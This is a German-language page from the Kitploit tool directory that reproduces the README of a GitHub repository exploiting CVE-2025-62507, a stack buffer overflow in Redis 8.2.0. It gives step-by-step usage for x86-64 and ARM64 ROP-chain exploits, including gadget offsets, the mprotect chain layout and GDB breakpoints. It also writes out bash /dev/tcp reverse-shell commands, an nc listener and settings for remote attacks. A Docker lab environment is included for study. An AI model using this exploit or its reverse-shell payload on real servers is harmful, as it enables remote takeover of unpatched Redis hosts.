Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
redis-cve-2025-62507 — Exploit-Skripte für CVE-2025-62507, einen Stack-Pufferüberlauf in Redis 8.2.0. Bietet x86-64- und ARM64-ROP-Chain-Exploits mit Shellcode-Generierung für Reverse Shells, einschließlich GDB-Debugging-Unterstützung und Docker-basierter verwundbarer Umgebung. | Kitploit
Tools/GitHubGitHub/gartonchan/redis-cve-2025-62507
Container-SicherheitSchwachstellenanalyseExploitationReverse EngineeringShellcodeDebuggerLernen & BildungPayload-EntwicklungBinary-Exploitation

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubgartonchan/redis-cve-2025-62507

redis-cve-2025-62507

Exploit-Skripte für CVE-2025-62507, einen Stack-Pufferüberlauf in Redis 8.2.0. Bietet x86-64- und ARM64-ROP-Chain-Exploits mit Shellcode-Generierung für Reverse Shells, einschließlich GDB-Debugging-Unterstützung und Docker-basierter verwundbarer Umgebung.

Repository anzeigen
3vor 3 MonatenNoch nicht geprüft

Exploit-Skripte — CVE-2025-62507

Verzeichnisstruktur

root@kitploit:~
scripts/
├── exploit_x86.py          # x86-64 ROP exploit
├── exploit_arm64.py        # ARM64 (AArch64) ROP exploit
└── gdb_with_symbols.sh     # GDB-Debugging-Hilfsskript

Schwachstellenübersicht

ElementBeschreibung
CVECVE-2025-62507
SchwachstellentypStack-Pufferüberlauf (Stack Buffer Overflow)
Betroffene KomponenteRedis-8.2.0-Funktion xackdelCommand
AuslöserXACKDEL-Befehl mit über 52 streamIDs
AusnutzungstechnikROP-Kette → mprotect entsperrt die Stack-Ausführungsberechtigung → Shellcode-Reverse-Shell
AbhängigkeitenPython 3 (nur Standardbibliothek, keine zusätzliche Installation erforderlich)

Voraussetzungen

  1. Zielumgebung: Docker-Container oder Host mit Redis 8.2.0 (verwundbare Version)
  2. Listener-Terminal: Auf dem Angreifer-Rechner muss vorab nc -lvnp 4444 gestartet werden, um die Reverse-Shell zu empfangen
  3. Berechtigung zum Auslesen von Adressen: Zugriff auf /proc/<PID>/maps des Zielprozesses erforderlich (root-Rechte)
  4. Python 3: Beide Exploit-Skripte verwenden nur die Standardbibliothek (socket, struct, time, sys)

Schnellstart

1. Verwundbaren Redis-Container starten

root@kitploit:~
# Im Projektstammverzeichnis ausführen
docker compose -f docker-compose-vulnerable.yml up -d

# Prüfen, dass der Container läuft
docker ps | grep redis-cve-2025-62507

2. Kritische Speicheradressen ermitteln

root@kitploit:~
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')

# x86-64-Adressen ermitteln
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)

echo "REDIS_BASE=$REDIS_BASE  LIBC_BASE=$LIBC_BASE  STACK_ADDR=$STACK_ADDR"

Hinweis: Nach jedem Container-Neustart ändern sich die Adressen (ASLR) und müssen erneut ermittelt werden.

3. Reverse-Shell-Listener starten

root@kitploit:~
# In einem weiteren Terminal auf dem Host
nc -lvnp 4444

4. Exploit ausführen

root@kitploit:~
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR

# ARM64 (feste Adressen unter Docker QEMU, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]

exploit_x86.py — x86-64 ROP-Exploit

Verwendung

root@kitploit:~
python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>

Parameter

ROP-Ketten-Architektur

root@kitploit:~
52 Füll-IDs (1-1)
  │
  ▼
ID#53  Overflow ──→ pop rdi; ret     (redis + 0x82327)
ID#54             ──→ pop rsi; ret     (redis + 0x86416)
ID#55             ──→ pop rdx; ret     (redis + 0xba1e2)
ID#56             ──→ mprotect()       (libc  + 0x1019e0)
ID#57             ──→ call rsp         (redis + 0x9486d)
ID#58+            ──→ Shellcode ──→ system("/bin/bash -c '...'")

Gadget-Offsets (redis-server-8.2.0)

Benutzerdefinierte Reverse-Shell-Adresse

Die Variable reverse_shell_cmd ist in Zeile 149 des Skripts definiert und lautet standardmäßig:

root@kitploit:~
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"

Ändern: Bearbeite exploit_x86.py, suche die Zeile reverse_shell_cmd und ersetze IP und Port:

Port ändern: Ersetze in /dev/tcp/<IP>/4444 die 4444 durch den tatsächlich lauschenden Port.

stack_page wird dynamisch aus dem Parameter stack_addr berechnet: (stack_addr + 0x1000) & ~0xFFF, damit das mprotect-Fenster den Stack-Bereich abdeckt, in dem der Shellcode liegt. Bei ungewöhnlichem Stack-Layout muss dies entsprechend angepasst werden.


exploit_arm64.py — ARM64 ROP-Exploit

Verwendung

root@kitploit:~
python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]

Parameter

ARM64-Hinweis: stack_addr ist der SP-Wert beim Eintritt in xackdelCommand (nicht die Startadresse des [stack]-Segments!). static_ids[0] = stack_addr - 0x310, das gespeicherte x30 von call() liegt bei stack_addr + 8 (also static_ids[49].seq).

ROP-Ketten-Architektur

root@kitploit:~
49 Füll-IDs (1-1)
  │
  ▼
ID#49-58  call()-Epilog-Frame (10 IDs) — überschreibt die von call() gespeicherten Register und lokalen Variablen
  │  #49: gespeichertes x29 (Dummy) + x30 (G5)
  │  #50: gespeichertes x19/x20, #51: gespeichertes x21(=0)/x22
  │  #52: x23/x24, #53: x25/x26, #54: x27/x28
  │  #55-58: lokale Variablen (auf 0 gesetzt)
  │
  ▼  call() ret → SP = stack_addr + 0xa0
  │
ID#59-61  Step 1: G5              (redis + 0x1a4d40)  x0=writable,    → G_SET_X2_7
ID#62-65  Step 2: G_SET_X2_7      (redis + 0x1d7a84)  w2=7,           → LDR_X1_SIDELOAD
ID#66-67  Step 3: LDR_X1_SIDELOAD (libc  + 0x34ab4)   x1=0x1000,      → G5
ID#68-70  Step 4: G5              (redis + 0x1a4d40)  x19=mprotect,   → MOV_X3_X19
ID#71-93  Step 5: MOV_X3_X19      (redis + 0x2948b0)  x3=mprotect,    → LDR_X0_CLEAN
ID#94-95  Step 6: LDR_X0_CLEAN    (libc  + 0x6ae40)   x0=stack_page,  → BLR_X3
ID#96-98  Step 7: BLR_X3          (redis + 0x92bc4)   call mprotect   → Shellcode
ID#99+    Shellcode — system("/bin/bash -c 'reverse_shell_cmd'")

Wichtig: Der Epilog von call() stellt vor ret die Register x19–x28 vom Stack wieder her und liest mehrere lokale Variablen. ID#49–58 müssen mit sicheren Werten gefüllt werden, da der Epilog sonst während der Ausführung abstürzt. Die ROP-Kette beginnt bei ID#59 (SP-Position nach dem ret von call()).

Gadget-Offsets (redis-server-8.2.0-arm64)

Gadget-Offsets (libc.so.6-arm64, im Docker-Container)

Hinweis: LDR_X1_SIDELOAD hat den Seiteneffekt mov x0, x1; nach der Ausführung wird x0 durch x1 überschrieben! Danach muss x0 mit G5 oder LDR_X0_CLEAN neu gesetzt werden.

Benutzerdefinierte Reverse-Shell-Adresse

reverse_shell_cmd wird in der Funktion build_exploit_arm64() dynamisch aus den Parametern rev_shell_host und rev_shell_port aufgebaut:

root@kitploit:~
reverse_shell_cmd = f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{rev_shell_host}/{rev_shell_port} 0>&1'"

Empfohlene Methode: Reverse-Shell-Adresse über Kommandozeilenparameter angeben:

root@kitploit:~
# Standard: 192.168.1.1:4444 → 192.168.1.129:6379
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0

# Benutzerdefinierte Reverse-Shell-Adresse und Port:
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 10.0.0.1 9999 10.0.0.100
#                                                                    ^^^^^^^^ ^^^^ ^^^^^^^^^^
#                                                                    rev_host rev_port target

Direkte Änderung: Bearbeite exploit_arm64.py und ändere die Standardwerte der Parameter der Funktion exploit():


GDB-Debugging

Verwendung von gdb_with_symbols.sh

root@kitploit:~
# Redis-PID ermitteln
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')

# GDB starten und Breakpoints automatisch setzen
./scripts/gdb_with_symbols.sh $REDIS_PID

Das Skript erledigt automatisch:

  1. Lädt die Symbolliste von binaries/redis-server-8.2.0
  2. Setzt einen Breakpoint bei xackdelCommand
  3. Setzt einen Breakpoint bei mprotect
  4. Setzt einen Breakpoint bei system

Wichtige Breakpoint-Positionen

root@kitploit:~
# Eintritt in xackdelCommand — normales Stack-Layout beobachten
break xackdelCommand

# Nach dem Schreiben der 53. streamID — beobachten, wie die Rücksprungadresse überschrieben wird
# (Bedingten Breakpoint innerhalb der Schleife setzen)

# Vor dem mprotect-Aufruf — Parameter rdi/rsi/rdx verifizieren
break mprotect

# Vor dem system-Aufruf — verifizieren, dass rdi auf den Befehlsstring zeigt
break system

Wichtige Exploit-Schritte verifizieren

root@kitploit:~
# 1. Nach dem Eintritt in xackdelCommand die Position des static_ids-Arrays finden
(gdb) x/10gx $rbp - 0x340      # x86-64
(gdb) x/10gx $sp                # ARM64

# 2. Wenn der mprotect-Breakpoint ausgelöst wird, Parameter verifizieren
(gdb) info registers rdi rsi rdx   # x86-64
(gdb) info registers x0 x1 x2      # ARM64

# Erwartet: rdi/x0=stack_page, rsi/x1=0x20000, rdx/x2=7

# 3. Nach der Rückkehr von mprotect RAX/X0 prüfen (=0 bedeutet Erfolg)
(gdb) finish
(gdb) info registers rax           # x86-64
(gdb) info registers x0            # ARM64

# 4. Shellcode-Ausführung beobachten
(gdb) x/20i $rsp                   # x86-64: Shellcode nach call rsp
(gdb) x/20i $x30                   # ARM64: Rücksprungadresse vor dem Sprung

Fehlerbehebung


Umgebungsbereinigung

root@kitploit:~
# Container stoppen und entfernen
docker compose -f docker-compose-vulnerable.yml down

Dateireferenzen

Tool herunterladen
ParameterBedeutungErmittlungBeispielwert
redis_baseBasisadresse der redis-server-ELFStartadresse des ersten redis-server-Eintrags in /proc/PID/maps0x555555554000
libc_baseBasisadresse von libc.so.6Startadresse des ersten libc.so-Eintrags in /proc/PID/maps0x7ffff75b3000
stack_addrStartadresse des Thread-Stack-SegmentsStartadresse des [stack]-Segments in /proc/PID/maps0x7ffffffde000
GadgetOffsetBeschreibung
pop rdi; ret0x82327Setzt den 1. Parameter von mprotect (addr)
pop rsi; ret0x86416Setzt den 2. Parameter von mprotect (len)
pop rdx; ret0xba1e2Setzt den 3. Parameter von mprotect (prot)
call rsp0x9486dSpringt zum Shellcode auf dem Stack
mprotect (libc)0x1019e0Setzt die Stack-Seiten auf RWX
system (libc)0x4c490Führt den Reverse-Shell-Befehl aus
SzenarioIPBeschreibung
Docker-host-Netzwerk (Standard)127.0.0.1Container und Host teilen sich den Netzwerk-Stack; 127.0.0.1 entspricht dem Host
Docker-bridge-Netzwerk172.17.0.1Standard-Bridge-Gateway, zeigt auf den Host
Remote-Angriff<öffentliche IP des Angreifers>Das Ziel muss den entsprechenden Port des Angreifers erreichen können
ParameterBedeutungErmittlungBeispielwert
redis_baseBasisadresse der redis-server-8.2.0-arm64-ELFStartadresse des ersten redis-server-Eintrags in /proc/PID/maps0xaaaaaaaa0000
libc_baseBasisadresse von libc.so.6-arm64Startadresse des ersten libc.so-Eintrags in /proc/PID/maps0xfffff7630000
stack_addrSP-Wert am Eintritt von xackdelCommand (aus der GDB-Analyse)SP am xackdelCommand-Eintritt per GDB-Breakpoint beobachten0xfffffffff7e0
rev_host(optional) IP des Angreifers für die Reverse-Shell—192.168.1.1
rev_port(optional) Port des Reverse-Shell-Listeners—4444
target(optional) Ziel-IP von Redis—192.168.1.129
GadgetOffsetFunktionStack-Verbrauch
G5 (ldp x19,x20 + ldr x0)0x1a4d40Lädt x19, x0 vom Stack0x30 (3 IDs)
G_SET_X2_70x1d7a84Setzt w2=7, w1=-1 (Seiteneffekt)0x40 (4 IDs)
MOV_X3_X190x2948b0x3 = x19 (mprotect), überschreibt x00x170 (23 IDs)
BLR_X30x92bc4blr x3; ruft mprotect auf0x30 (3 IDs)
GadgetOffsetFunktionStack-Verbrauch
LDR_X1_SIDELOAD0x34ab4ldr x1,[sp,#0x18]; mov x0,x1 (Seiteneffekt!)0x20 (2 IDs)
LDR_X0_CLEAN0x6ae40ldr x0,[sp,#0x18]; ohne Seiteneffekt0x20 (2 IDs)
mprotect0xe3ac0Ändert die Speicherberechtigungen-
system0x49c24Führt Shell-Befehl aus-
SzenarioIPBeschreibung
Docker-host-Netzwerk127.0.0.1Container und Host teilen sich den Netzwerk-Stack; 127.0.0.1 entspricht dem Host
Docker-bridge-Netzwerk172.17.0.1Standard-Bridge-Gateway, zeigt auf den Host
QEMU-VM192.168.1.1Adresse des Hosts im QEMU-Netzwerk
Remote-Angriff<öffentliche IP des Angreifers>Das Ziel muss den entsprechenden Port des Angreifers erreichen können
SymptomMögliche UrsacheLösung
ConnectionRefusedErrorRedis nicht gestartet oder falscher PortContainerstatus mit docker ps prüfen, Port 6379 kontrollieren
Redis stürzt nicht ab, antwortet mit PONGZu wenige Füll-IDs; Rücksprungadresse wurde nicht überschriebenKorrekte Anzahl Füll-IDs verwenden (x86: 52, ARM64: 49); prüfen, ob die Binärversion passt
Redis stürzt ab, aber keine Verbindung zu ncFehler bei der Adressberechnung/proc/PID/maps erneut auslesen; prüfen, ob die Gadget-Offsets zu den jeweiligen Binärdateien passen
Parsen von streamParseStrictIDOrReply schlägt fehlFalsches streamID-FormatSicherstellen, dass das Format ms-seq (vorzeichenlose Ganzzahl) verwendet wird; negative Zahlen vermeiden, die ein doppeltes -- erzeugen
mprotect gibt ungleich 0 zurückStack-Adresse nicht seitenausgerichtet oder Bereich ungültigPrüfen, ob stack_page auf 0x1000 ausgerichtet ist
ARM64: Absturz bei str w2, [x0]x0 von G_SET_X2_7 zeigt nicht auf beschreibbaren SpeicherSicherstellen, dass writable_addr auf einen gemappten Stack-Bereich zeigt
nc bricht wiederholt abIP:Port im Shellcode falschreverse_shell_cmd im Skript ändern; IP auf eine für den Angreifer erreichbare Adresse setzen
DateiBeschreibung
scripts/exploit_x86.pyx86-64-finaler RCE-Exploit
scripts/exploit_arm64.pyARM64 (AArch64) RCE-Exploit
scripts/gdb_with_symbols.shHilfsskript zum Laden der GDB-Symbole und Setzen von Breakpoints
docker-compose-vulnerable.ymlOrchestrierung des verwundbaren Redis-8.2.0-Containers
binaries/redis-server-8.2.0x86-64 Redis-ELF (mit Symbolliste)
binaries/redis-server-8.2.0-arm64ARM64 Redis-ELF (mit Symbolliste)
binaries/libc.so.6x86-64 libc
binaries/libc.so.6-arm64ARM64 libc
docs/X86_CVE-2025-62507_EXPLOITATION_DETAIL.mdVollständige technische Detailanalyse der x86-64-Ausnutzung
docs/ARM64_GADGET_CATALOG.mdVollständiges Verzeichnis der ARM64-ROP-Gadgets